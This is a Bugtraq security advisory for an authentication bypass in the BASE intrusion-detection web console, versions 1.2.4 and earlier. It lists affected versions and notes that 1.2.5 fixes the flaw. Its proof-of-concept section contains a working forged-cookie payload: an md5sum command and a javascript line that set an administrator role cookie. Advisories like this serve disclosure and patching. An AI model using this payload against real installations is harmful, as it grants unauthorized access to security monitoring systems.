BID:35470

Basic Analysis And Security Engine 'readRoleCookie()' Authentication Bypass Vulnerability

Info

Basic Analysis And Security Engine 'readRoleCookie()' Authentication Bypass Vulnerability

Bugtraq ID:	35470
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 23 2009 12:00AM
Updated:	Jun 24 2009 05:29PM
Credit:	Tim Medin
Vulnerable:	BASE Basic Analysis and Security Engine 1.2.4 BASE Basic Analysis and Security Engine 1.2.2 BASE Basic Analysis and Security Engine 1.2.1 BASE Basic Analysis and Security Engine 1.2 BASE Basic Analysis and Security Engine 1.1.4 BASE Basic Analysis and Security Engine 1.1.3 BASE Basic Analysis and Security Engine 1.1.2 BASE Basic Analysis and Security Engine 1.0.2 BASE Basic Analysis and Security Engine 1.0.1 BASE Basic Analysis and Security Engine 0.9.9 -RC1 BASE Basic Analysis and Security Engine 1.1 BASE Basic Analysis and Security Engine 1.0

Not Vulnerable:	BASE Basic Analysis and Security Engine 1.2.5

Discussion

Basic Analysis And Security Engine 'readRoleCookie()' Authentication Bypass Vulnerability

Basic Analysis And Security Engine (BASE) is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to gain unauthorized access to the affected application. Successfully exploiting this issue will lead to other attacks.

BASE 1.2.4 is vulnerable; prior versions are also affected.

Exploit / POC

Basic Analysis And Security Engine 'readRoleCookie()' Authentication Bypass Vulnerability

The following examples are available:

echo -n 10000nidemBASEUserRole | md5sum

javascript:document.cookie="BASERole=10000|nidem|794b69ad33015df95578d5f4a19d390e; path=/"

Solution / Fix

Basic Analysis And Security Engine 'readRoleCookie()' Authentication Bypass Vulnerability

Solution:
The vendor released an update to address this issue. Please see the references for more information.

References

Basic Analysis And Security Engine 'readRoleCookie()' Authentication Bypass Vulnerability

References: